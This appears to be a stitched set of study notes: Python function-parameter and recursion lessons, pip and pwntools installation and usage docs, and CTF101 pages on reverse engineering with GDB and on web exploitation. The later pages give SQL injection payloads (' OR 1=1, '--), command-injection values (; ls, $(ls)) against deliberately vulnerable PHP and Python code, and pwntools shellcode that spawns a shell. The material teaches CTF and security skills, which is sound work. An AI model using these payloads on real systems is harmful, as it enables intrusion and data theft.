+ print(name, age, args, city, job)
+
+Named keyword parameters must be passed with a parameter name, unlike positional parameters. If the parameter name is not passed, the call will report an error.
+>>> person('Jack', 24, 'Beijing', 'Engineer')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+TypeError: person() missing 2 required keyword-only arguments: 'city' and 'job'
+
+Due to the missing parameter names city
and job
in the call, the Python interpreter treats the first two parameters as positional parameters and passes the last two parameters to *args
, but the missing named keyword parameter causes an error.
Named keyword arguments can have default values, thus simplifying the call.
+def person(name, age, *, city='Beijing', job):
+ print(name, age, city, job)
+
+Since the named keyword parameter city
has a default value, it can be invoked without passing the city
parameter.
>>> person('Jack', 24, job='Engineer')
+Jack 24 Beijing Engineer
+
+When using named keyword arguments, take special care to add a *
as a special separator if there are no variable arguments. If *
is missing, the Python interpreter will not recognize positional and named keyword arguments.
def person(name, age, city, job):
+ # Missing *, city and job are considered as location parameters
+ pass
+
+To define functions in Python, you can use mandatory parameters, default parameters, variable parameters, keyword parameters, and named keyword parameters, all five of which can be used in combination. However, please note that the order of parameter definition must be: mandatory parameters, default parameters, variable parameters, named keyword parameters, and keyword parameters.
+For example, to define a function with several of these parameters.
+def f1(a, b, c=0, *args, **kw):
+ print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)
+
+def f2(a, b, c=0, *, d, **kw):
+ print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)
+
+When the function is called, the Python interpreter automatically passes in the corresponding arguments according to their positions and names.
+>>> f1(1, 2)
+a = 1 b = 2 c = 0 args = () kw = {}
+>>> f1(1, 2, c=3)
+a = 1 b = 2 c = 3 args = () kw = {}
+>>> f1(1, 2, 3, 'a', 'b')
+a = 1 b = 2 c = 3 args = ('a', 'b') kw = {}
+>>> f1(1, 2, 3, 'a', 'b', x=99)
+a = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}
+>>> f2(1, 2, d=99, ext=None)
+a = 1 b = 2 c = 0 d = 99 kw = {'ext': None}
+
+The most amazing thing is that with a tuples and dict you can also call the above functions.
+>>> args = (1, 2, 3, 4)
+>>> kw = {'d': 99, 'x': '#'}
+>>> f1(*args, **kw)
+a = 1 b = 2 c = 3 args = (4,) kw = {'d': 99, 'x': '#'}
+>>> args = (1, 2, 3)
+>>> kw = {'d': 88, 'x': '#'}
+>>> f2(*args, **kw)
+a = 1 b = 2 c = 3 d = 88 kw = {'x': '#'}
+
+So, for any function, you can call it by something like func(*args, **kw)
, regardless of how its arguments are defined.
Although it is possible to combine up to 5 arguments, do not use too many combinations at the same time, otherwise the function interface is poorly understandable.
+Python's functions have a very flexible argument form, allowing both simple calls and very complex arguments to be passed in.
+The default argument must be an immutable object; if it's a mutable object, the program will run with a logic error!
+Note the syntax for defining mutable and keyword arguments.
+*args
is a mutable parameter, args receives a tuples.
**kw
is a keyword argument, kw receives a dict.
And the syntax of how to pass variable and keyword arguments when calling a function.
+Variable parameters can be passed either directly: func(1, 2, 3)
or by assembling a list or tuple first and then passing it through *args
: func(*(1, 2, 3))
.
Keyword arguments can either be passed directly: func(a=1, b=2)
, or assembled first in a dict and then passed in via *kw
: func(**{'a': 1, 'b': 2})
.
Using *args
and **kw
is the customary way of writing Python, but of course other parameter names can be used, but it is better to use the customary usage.
Named keyword arguments are intended to limit the parameter names that can be passed in by the caller, while providing default values.
+Don't forget to write the separator *
when defining named keyword parameters without mutable parameters, otherwise the definition will be a positional parameter.
Inside a function, other functions can be called. If a function calls itself internally, that function is recursive.
+As an example, let's calculate the factorial n! = 1 x 2 x 3 x ... x n
, represented by the function fact(n)
, it can be seen that
So, fact(n)
can be expressed as n x fact(n-1)
, with special treatment required only for n=1.
Thus, fact(n)
is written out recursively as.
def fact(n):
+ if n==1:
+ return 1
+ return n * fact(n - 1)
+
+The above is a recursive function. Try:
+>>> fact(1)
+1
+>>> fact(5)
+120
+>>> fact(100)
+93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000
+
+If we calculate fact(5)
, we can see the calculation process according to the function definition as follows.
===> fact(5)
+===> 5 * fact(4)
+===> 5 * (4 * fact(3))
+===> 5 * (4 * (3 * fact(2)))
+===> 5 * (4 * (3 * (2 * fact(1))))
+===> 5 * (4 * (3 * (2 * 1)))
+===> 5 * (4 * (3 * 2))
+===> 5 * (4 * 6)
+===> 5 * 24
+===> 120
+
+Recursive functions have the advantage of being simple to define and logically clear. In theory, all recursive functions can be written as loops, but the logic of loops is not as clear as recursion.
+Using recursive functions requires care to prevent stack overflows. In computers, function calls are implemented through a data structure called a stack. Whenever a function call is entered, a layer of stack frames is added to the stack, and whenever the function returns, a layer of stack frames is subtracted from the stack. Since the size of the stack is not infinite, too many recursive calls can cause the stack to overflow. Try fact(1000)
.
>>> fact(1000)
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+ File "<stdin>", line 4, in fact
+ ...
+ File "<stdin>", line 4, in fact
+RuntimeError: maximum recursion depth exceeded in comparison
+
+The solution to recursive call stack overflow is to optimize it by tail recursion. In fact, tail recursion has the same effect as a loop, so it is okay to think of a loop as a special kind of tail recursive function.
+Tail recursion means that the function itself is called when it returns, and, the return statement cannot contain an expression. In this way, the compiler or interpreter can optimize the tail recursion so that the recursion itself, no matter how many times it is called, only occupies one stack frame and no stack overflow occurs.
+The fact(n)
function above is not tail recursive because return n * fact(n - 1)
introduces a multiplicative expression. To change to a tail recursive approach, a little more code is needed, mainly to pass the product of each step into the recursive function.
def fact(n):
+ return fact_iter(n, 1)
+
+def fact_iter(num, product):
+ if num == 1:
+ return product
+ return fact_iter(num - 1, num * product)
+
+As you can see, return fact_iter(num - 1, num * product)
returns only the recursive function itself, num - 1
and num * product
are calculated before the function call and do not affect the function call.
The call to fact(5)
corresponding to fact_iter(5, 1)
is as follows.
===> fact_iter(5, 1)
+===> fact_iter(4, 5)
+===> fact_iter(3, 20)
+===> fact_iter(2, 60)
+===> fact_iter(1, 120)
+===> 120
+
+When tail recursive calls are made, the stack does not grow if optimizations are made, so no matter how many calls are made, it will not cause the stack to overflow.
+Unfortunately, most programming languages are not optimized for tail recursion, and neither is the Python interpreter, so even if you change the fact(n)
function above to a tail recursive approach, it will still result in a stack overflow.
The advantage of using recursive functions is that the logic is simple and clear, and the disadvantage is that calls that are too deep can lead to stack overflow.
+Languages optimized for tail recursion can prevent stack overflows by tail recursion. Tail recursion is in fact equivalent to looping, and programming languages that don't have looping statements can only implement loops via tail recursion.
+Python's standard interpreter is not optimized for tail recursion, and any recursive function has a stack overflow problem.
+++https://yulizi123.github.io/tutorials/python-basic/basic/
+https://docs.python.org/3/
+https://docs.pwntools.com/en/stable/
+
There are many ways to install external modules, and the form of installation varies from system to system. Installing Python packages on Windows, for example, might even kill you. Haha.
+An external module is what you use when you import
something into a python script.
import numpy as np
+import matplotlib.pyplot as plt
+
+Numpy and matplotlib are both external modules that need to be installed. They are not part of python's own modules.
+For example, there are many ways to install modules for scientific operations, such as numpy. On Windows, the easiest way is to install Anaconda, which has many necessary external modules. Install one, and save yourself the trouble of installing others.
+However, I want to talk about downloading the installation package and installing it on Windows. For example, on the Numpy installer website, you can find various versions of numpy.
+ +In NumPy 1.10.2, we can find installers for Windows, but no Windows installers have been added to the new version yet. Then choose the appropriate "exe" installer for your system and python version. Download and install.
+ +If you are on MacOS or Linux, this external module is much easier to install. You can easily install it by typing a phrase into your computer's Terminal. Windows seems to have to be set up in a special way to do the same thing, I don't know... you might want to look it up. On my computer, the Terminal looks like this.
+ +Then you can install it if you type in this form.
+$ pip install the name of the module you want
+
+For example
+$ pip install numpy # This is for the python2+ version
+$ pip3 install numpy # This is for the python3+ version
+
+Updating external modules with pip is very simple. All you need to do is type the following command into Terminal. The -U
here means update.
$ pip install -U numpy # This is for the python2+ version
+$ pip3 install -U numpy # This is for the python3+ version
+
+pwntools
is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
The primary location for this documentation is docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:
+ +Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
+To get the most out of pwntools
, you should install the following system libraries.
pwntools is available as a pip
package for both Python2 and Python3.
$ apt-get update
+$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+$ python3 -m pip install --upgrade pip
+$ python3 -m pip install --upgrade pwntools
+
+NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
+Additionally, due to pip dropping support for Python2, a specific version of pip must be installed.
+$ apt-get update
+$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
+$ python2 -m pip install --upgrade pip==20.3.4
+$ python2 -m pip install --upgrade pwntools
+
+When installed with sudo
the above commands will install Pwntools’ command-line tools to somewhere like /usr/bin
.
However, if you run as an unprivileged user, you may see a warning message that looks like this:
+Follow the instructions listed and add ~/.local/bin
to your $PATH
environment variable.
If you are hacking on Pwntools locally, you’ll want to do something like this:
+$ git clone https://github.com/Gallopsled/pwntools
+$ pip install --upgrade --editable ./pwntools
+
+To get your feet wet with pwntools, let’s first go through a few examples.
+When writing exploits, pwntools generally follows the “kitchen sink” approach.
+>>> from pwn import *
+
+This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.
+A full list of everything that is imported is available from pwn import *.
+A series of tutorials for Pwntools exists online, at https://github.com/Gallopsled/pwntools-tutorial#readme
+You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its pwnlib.tubes
module.
This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via pwnlib.tubes.remote
.
>>> conn = remote('ftp.ubuntu.com',21)
+>>> conn.recvline() # doctest: +ELLIPSIS
+b'220 ...'
+>>> conn.send(b'USER anonymous\r\n')
+>>> conn.recvuntil(b' ', drop=True)
+b'331'
+>>> conn.recvline()
+b'Please specify the password.\r\n'
+>>> conn.close()
+
+It’s also easy to spin up a listener
+>>> l = listen()
+>>> r = remote('localhost', l.lport)
+>>> c = l.wait_for_connection()
+>>> r.send(b'hello')
+>>> c.recv()
+b'hello'
+
+Interacting with processes is easy thanks to the pwnlib.tubes.process
.
>>> sh = process('/bin/sh')
+>>> sh.sendline(b'sleep 3; echo hello world;')
+>>> sh.recvline(timeout=1)
+b''
+>>> sh.recvline(timeout=5)
+b'hello world\n'
+>>> sh.close()
+
+Not only can you interact with processes programmatically, but you can actually interact with processes.
+>>> sh.interactive() # doctest: +SKIP
+$ whoami
+user
+
+There’s even an SSH module for when you’ve got to SSH into a box to perform a local/setuid exploit with pwnlib.tubes.ssh
. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process
tube.
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+>>> shell['whoami']
+b'bandit0'
+>>> shell.download_file('/etc/motd')
+>>> sh = shell.run('sh')
+>>> sh.sendline(b'sleep 3; echo hello world;')
+>>> sh.recvline(timeout=1)
+b''
+>>> sh.recvline(timeout=5)
+b'hello world\n'
+>>> shell.close()
+
+A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually, folks resort to the built-in struct
module.
pwntools makes this easier with pwnlib.util.packing
. No more remembering unpacking codes, and littering your code with helper routines.
>>> import struct
+>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
+True
+>>> leet = unhex('37130000')
+>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
+True
+
+The packing/unpacking operations are defined for many common bit-widths.
+>>> u8(b'A') == 0x41
+True
+
+The target architecture can generally be specified as an argument to the routine that requires it.
+>>> asm('nop')
+b'\x90'
+>>> asm('nop', arch='arm')
+b'\x00\xf0 \xe3'
+
+However, it can also be set once in the global context
. The operating system, word size, and endianness can also be set here.
>>> context.arch = 'i386'
+>>> context.os = 'linux'
+>>> context.endian = 'little'
+>>> context.word_size = 32
+
+Additionally, you can use a shorthand to set all of the values at once.
+>>> asm('nop')
+b'\x90'
+>>> context(arch='arm', os='linux', endian='big', word_size=32)
+>>> asm('nop')
+b'\xe3 \xf0\x00'
+
+You can control the verbosity of the standard pwntools logging via context
.
For example, setting
+>>> context.log_level = 'debug'
+
+This will cause all of the data sent and received by a tube
to be printed on the screen.
Never again will you need to run some already-assembled pile of shellcode from the internet! The pwnlib.asm
module is full of awesome.
>>> enhex(asm('mov eax, 0'))
+'b800000000'
+
+But if you do, it’s easy to suss out!
+>>> print(disasm(unhex('6a0258cd80ebf9')))
+ 0: 6a 02 push 0x2
+ 2: 58 pop eax
+ 3: cd 80 int 0x80
+ 5: eb f9 jmp 0x0
+
+However, you shouldn’t even need to write your own shellcode most of the time! pwntools comes with the pwnlib.shellcraft
module, which is loaded with useful time-saving shellcodes.
Let’s say that we want to setreuid(getuid(), getuid()) followed by duping file descriptor 4 to stdin, stdout, and stderr, and then pop a shell!
+>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
+'6a3158cd80...'
+
+Never write another hexdump, thanks to pwnlib.util.fiddling
.
Find offsets in your buffer that cause a crash, thanks to pwnlib.cyclic
.
>>> cyclic(20)
+b'aaaabaaacaaadaaaeaaa'
+>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
+>>> cyclic_find(b'faab')
+120
+
+Stop hard-coding things! Look them up at runtime with pwnlib.elf
.
>>> e = ELF('/bin/cat')
+>>> print(hex(e.address)) #doctest: +SKIP
+0x400000
+>>> print(hex(e.symbols['write'])) #doctest: +SKIP
+0x401680
+>>> print(hex(e.got['write'])) #doctest: +SKIP
+0x60b070
+>>> print(hex(e.plt['write'])) #doctest: +SKIP
+0x401680
+
+You can even patch and save the files.
+>>> e = ELF('/bin/cat')
+>>> e.read(e.address, 4)
+b'\x7fELF'
+>>> e.asm(e.address, 'ret')
+>>> e.save('/tmp/quiet-cat')
+>>> disasm(open('/tmp/quiet-cat','rb').read(1))
+' 0: c3 ret'
+
+
+
+
+
+
+
+
+
+ ++https://ctf101.org/reverse-engineering/overview/
+
Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human-readable format.
+Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
+Machine Code or Assembly is code that has been formatted for direct execution by a CPU. Machine Code is why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).
+Godbolt shows the differences in machine code generated by various compilers.
+For example, if we have a simple C++ function:
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ char c;
+ int fd = syscall(2, "/etc/passwd", 0);
+ while (syscall(0, fd, &c, 1)) {
+ putchar(c);
+ }
+}
+
+We can see the compilation results in some verbose instructions for the CPU:
+.LC0:
+ .string "/etc/passwd"
+main:
+ push rbp
+ mov rbp, rsp
+ sub rsp, 16
+ mov edx, 0
+ mov esi, OFFSET FLAT:.LC0
+ mov edi, 2
+ mov eax, 0
+ call syscall
+ mov DWORD PTR [rbp-4], eax
+.L3:
+ lea rdx, [rbp-5]
+ mov eax, DWORD PTR [rbp-4]
+ mov ecx, 1
+ mov esi, eax
+ mov edi, 0
+ mov eax, 0
+ call syscall
+ test rax, rax
+ setne al
+ test al, al
+ je .L2
+ movzx eax, BYTE PTR [rbp-5]
+ movsx eax, al
+ mov edi, eax
+ call putchar
+ jmp .L3
+.L2:
+ mov eax, 0
+ leave
+ ret
+
+This is a one-way process for compiled languages as there is no way to generate sources from machine code. While the machine code may seem unintelligible, the extremely basic functions can be interpreted with some practice.
+x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32 bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of different things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means different instructions can be of diferent sizes ranging from 1 to 16 bytes long. And finally, x86-64 allows for multi-sized register access which means that you can access certain parts of a register that are different sizes.
+x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access, meaning the register RAX can have its lower 32-bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL, allowing the computer to make optimizations that boost program execution.
+x86-64 has plenty of registers, including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.
+The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer
+An instruction represents a single operation for the CPU to perform.
+There are different types of instructions including:
+mov rax, [rsp - 0x40]
add rbx, rcx
jne 0x8000400
Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb
which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)
It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.
+++Instructions, numbers, strings, everything! Always represented in hex.
+
add rax, rbx
+mov rax, 0xdeadbeef
+mov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de
+"Hello" == 48 65 6c 6c 6f
+== 48 01 d8
+== 48 c7 c0 ef be ad de
+
+What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, and run it.
+mov rax, 0xdeadbeef
Here the operation mov
is moving the "immediate" 0xdeadbeef
into the register RAX
mov rax, [0xdeadbeef + rbx * 4]
Here the operation mov
is moving the data at the address of [0xdeadbeef + RBX*4]
into the register RAX
. When brackets are used, you can think of the program as getting the content from that effective address.
-> 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804000
+ 0x080400a: add, rax, rbx RAX = 0x0
+ 0x080400d: inc rbx RBX = 0x0
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+-> 0x0804005: mov ebx, 0x1234 RIP = 0x0804005
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeef
+ 0x080400d: inc rbx RBX = 0x0
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x080400a
+-> 0x080400a: add, rax, rbx RAX = 0xdeadbeef
+ 0x080400d: inc rbx RBX = 0x1234
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x080400d
+ 0x080400a: add, rax, rbx RAX = 0xdeadd123
+-> 0x080400d: inc rbx RBX = 0x1234
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804010
+ 0x080400a: add, rax, rbx RAX = 0xdeadd123
+ 0x080400d: inc rbx RBX = 0x1235
+-> 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804013
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeee
+ 0x080400d: inc rbx RBX = 0x1235
+ 0x0804010: sub rax, rbx RCX = 0x0
+-> 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804005
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeee
+ 0x080400d: inc rbx RBX = 0x1235
+ 0x0804010: sub rax, rbx RCX = 0xdeadbeee
+ 0x0804013: mov rcx, rax RDX = 0x0
+
+How can we express conditionals in x86-64? We use conditional jumps such as:
+jnz <address>
je <address>
jge <address>
jle <address>
They jump if their condition is true and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers that store flags on certain instructions such as add rax, rbx
which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo
instruction. The most important thing to remember is the cmp instruction:
cmp rax, rbx
+jle error
+
+This assembly jumps if RAX <= RBX
+Memory acts similarly to a big array where the indices of this "array" are memory addresses. Remember from earlier:
+mov rax, [0xdeadbeef]
+
+The square brackets mean "get the data at this address". This is analogous to the C/C++ syntax: rax = *0xdeadbeef;
A disassembler is a tool that breaks down a compiled program into machine code.
+The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling "virtually any popular file format". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry-leading Hex-Rays decompiler which can convert assembly code back into a pseudo code-like format.
+ +IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:
+Binary Ninja is an up-and-coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.
+ +Binja also has some community-contributed plugins which are collected here: https://github.com/Vector35/community-plugins
+The GNU Debugger is a free and open-source debugger that also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabilities.
+gdb is often used in tandem with enhancement scripts like peda, pwndbg, and GEF
+ +The GNU Debugger or GDB is a powerful debugger that allows for the step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.
+GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.
+To execute GBD and attach it to a program simply run gdb [program]
(gdb) disassemble [address/symbol]
will display the disassembly for that function/frame
GDB will autocomplete functions, so saying (gdb) disas main
suffices if you'd like to see the disassembly of the main
Another handy thing to see while stepping through a program is the disassembly of nearby instructions:
+(gdb) display/[# of instructions]i $pc [± offset]
+
+display
shows data with each step/[#]i
shows how much data in the format i for instruction$pc
means the pc, program counter, register[± offset]
allows you to specify how you would like the data offset from the current instruction(gdb) display/10i $pc - 0x5
+
+This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:
+ 0x8048535 <main+6>: lock pushl -0x4(%ecx)
+ 0x8048539 <main+10>: push %ebp
+=> 0x804853a <main+11>: mov %esp,%ebp
+ 0x804853c <main+13>: push %ecx
+ 0x804853d <main+14>: sub $0x14,%esp
+ 0x8048540 <main+17>: sub $0xc,%esp
+ 0x8048543 <main+20>: push $0x400
+ 0x8048548 <main+25>: call 0x80483a0 <malloc@plt>
+ 0x804854d <main+30>: add $0x10,%esp
+ 0x8048550 <main+33>: sub $0xc,%esp
+
+If for whatever reason, a view no long suits your needs simply call (gdb) info display
which will give you a list of active displays:
Auto-display expressions now in effect:
+Num Enb Expression
+1: y /10bi $pc-0x5
+
+Then simply execute (gdb) delete display 1
and your execution will resume without the display.
In order to view the state of registers with vanilla gdb, you need to run the command info registers
which will display the state of all the registers:
eax 0xf77a6ddc -142971428
+ecx 0xffe06b10 -2069744
+edx 0xffe06b34 -2069708
+ebx 0x0 0
+esp 0xffe06af8 0xffe06af8
+ebp 0x0 0x0
+esi 0xf77a5000 -142979072
+edi 0xf77a5000 -142979072
+eip 0x804853a 0x804853a <main+11>
+eflags 0x286 [ PF SF IF ]
+cs 0x23 35
+ss 0x2b 43
+ds 0x2b 43
+es 0x2b 43
+fs 0x0 0
+gs 0x63 99
+
+If you simply would like to see the contents of a single register, the notation x/x $[register]
where:
x/x
means to display the address in hex notation$[register]
is the register code such as eax, rax, etc.These commands work with vanilla gdb as well.
+Setting breakpoints in GDB uses the format b*[Address/Symbol]
(gdb) b*main
: Break at the start(gdb) b*0x804854d
: Break at 0x804854d(gdb) b*0x804854d-0x100
: Break at 0x804844dAs before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints
(don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:
Num Type Disp Enb Address What
+1 breakpoint keep y 0x0804852f <main>
+3 breakpoint keep y 0x0804864d <__libc_csu_init+61>
+
+Then simply execute (gdb) delete 1
Note
+GDB creates breakpoints chronologically and does NOT reuse numbers.
+What good is a debugger if you can't control where you are going? In order to begin the execution of a program, use the command r [arguments]
similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]
. In this case, the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.
(gdb) continue [# of breakpoints]
: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c
)(gdb) step[# of instructions]
: Steps into an instruction the specified number of times, default is 1 (shorthand s
)(gdb) next instruction [# of instructions]
: Steps over an instruction meaning it will not delve into called functions (shorthand ni
)(gdb) finish
: Finishes a function and breaks after it gets returned (shorthand fin
)Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.
+(gdb) x/[#][size][format] [Address/Symbol/Register][± offset]
+
+x/
means examine[#]
means how much[size]
means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)[format]
means how the data should be interpreted such as an instruction i, a string s, hex bytes x[Address/Symbol][± offset]
means where to start interpreting the data(gdb) x/x $rax
: Displays the content of the register RAX as hex bytes(gdb) x/i 0xdeadbeef
: Displays the instruction at address 0xdeadbeef(gdb) x/10s 0x893e10
: Displays 10 strings at the address(gdb) x/10gx 0x7fe10
: Displays 10 giant words as hex at the addressIf the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]
If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]
set $rax=0x0
: Sets the register rax to 0set 0x1e4a70=0x123
: Sets the data at 0x1e4a70 to 0x123A handy way to find the process's mapped address spaces is to use info proc map
:
Mapped address spaces:
+
+ Start Addr End Addr Size Offset objfile
+ 0x8048000 0x8049000 0x1000 0x0 /directory/program
+ 0x8049000 0x804a000 0x1000 0x0 /directory/program
+ 0x804a000 0x804b000 0x1000 0x1000 /directory/program
+ 0xf75cb000 0xf75cc000 0x1000 0x0
+ 0xf75cc000 0xf7779000 0x1ad000 0x0 /lib32/libc-2.23.so
+ 0xf7779000 0xf777b000 0x2000 0x1ac000 /lib32/libc-2.23.so
+ 0xf777b000 0xf777c000 0x1000 0x1ae000 /lib32/libc-2.23.so
+ 0xf777c000 0xf7780000 0x4000 0x0
+ 0xf778b000 0xf778d000 0x2000 0x0 [vvar]
+ 0xf778d000 0xf778f000 0x2000 0x0 [vdso]
+ 0xf778f000 0xf77b1000 0x22000 0x0 /lib32/ld-2.23.so
+ 0xf77b1000 0xf77b2000 0x1000 0x0
+ 0xf77b2000 0xf77b3000 0x1000 0x22000 /lib32/ld-2.23.so
+ 0xf77b3000 0xf77b4000 0x1000 0x23000 /lib32/ld-2.23.so
+ 0xffc59000 0xffc7a000 0x21000 0x0 [stack]
+
+This will show you where the stack, heap (if there is one), and libc are located.
+Another useful feature of GDB is to attach to processes that are already running. Simply launch gdb using gdb
, then find the process id of the program you would like to attach to an execute attach [pid]
.
++https://ctf101.org/web-exploitation/overview/
+
Websites all around the world are programmed using various programming languages. While the developer should be aware of specific vulnerabilities in each programming language, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
+These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher-level privilege.
+Common vulnerabilities to see in CTF challenges:
+SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.
+<?php
+ $username = $_GET['username']; // kchung
+ $result = mysql_query("SELECT * FROM users WHERE username='$username'");
+?>
+
+If we look at the $username variable, we might expect the username parameter to be a real username (e.g. kchung) under normal operation.
+But a malicious user might submit a different kind of data. For example, consider if the input was '
?
The application would crash because the resulting SQL query is incorrect.
+SELECT * FROM users WHERE username='''
+
+++Notice the extra single quote at the end.
+
With the knowledge that a single quote will cause an error in the application, we can expand a little more on SQL Injection.
+What if our input was ' OR 1=1
?
SELECT * FROM users WHERE username='' OR 1=1
+
+1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying
+SELECT * FROM users WHERE username='' OR true
+
+This will return every row in the table because each row that exists must be true.
+We can also inject comments and termination characters like --
or /*
or ;
. This allows you to terminate SQL queries after your injected statements. For example '--
is a common SQL injection payload.
SELECT * FROM users WHERE username=''-- '
+
+This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--
) that effectively hides the second single quote.
Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.
+Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system()
command or its equivalent in the application's programming language.
import os
+
+domain = user_input() # ctf101.org
+
+os.system('ping ' + domain)
+
+The above code when used normally will ping the ctf101.org
domain.
But consider what would happen if the user_input()
function returned different data.
import os
+
+domain = user_input() # ; ls
+
+os.system('ping ' + domain)
+
+Because of the additional semicolon, the os.system()
function is instructed to run two commands.
It looks to the program as:
+ping ; ls
+
+++The semicolon terminates a command in bash and allows you to put another command after it.
+
Because the ping
command is being terminated and the ls
command is being added on, the ls
command will be run in addition to the empty ping command!
This is the core concept behind command injection. The ls
command could of course be switched with another command (e.g. wget, curl, bash, etc.)
Command injection is a very common means of privilege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.
+;ls
$(ls)
ls
